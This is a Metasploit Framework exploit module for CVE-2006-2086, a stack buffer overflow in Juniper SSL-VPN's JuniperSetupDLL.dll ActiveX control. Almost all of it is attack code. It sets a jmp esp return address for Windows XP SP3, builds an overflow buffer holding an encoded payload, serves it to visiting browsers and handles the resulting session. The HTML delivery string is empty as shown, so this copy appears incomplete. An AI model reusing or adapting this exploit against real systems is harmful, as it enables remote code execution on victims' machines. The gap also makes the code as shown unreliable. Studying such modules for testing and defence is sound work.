## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Juniper SSL-VPN IVE JuniperSetupDLL.dll ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the JuniperSetupDLL.dll library which is called by the JuniperSetup.ocx ActiveX control, as part of the Juniper SSL-VPN (IVE) appliance. By specifying an overly long string to the ProductName object parameter, the stack is overwritten. }, 'License' => MSF_LICENSE, 'Author' => 'patrick', 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2006-2086' ], [ 'OSVDB', '25001' ], [ 'BID', '17712' ], [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-04/0743.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x0a\x0d\x20<>()\"\\\';@\#\%\`", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP Pro SP3 English', { 'Ret' => 0x77ae7f99 } ],# crypt32.dll jmp esp [ 'Debugging', { 'Ret' => 0x44434241 } ], ], 'DisclosureDate' => 'Apr 26 2006', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize vname = rand_text_alpha(rand(100) + 1) # Build the exploit buffer sploit = rand_text_alpha(2200) sploit[220, 4] = [target['Ret']].pack('V') sploit[240, payload.encoded.length] = payload.encoded # Build out the message content = %Q| | print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end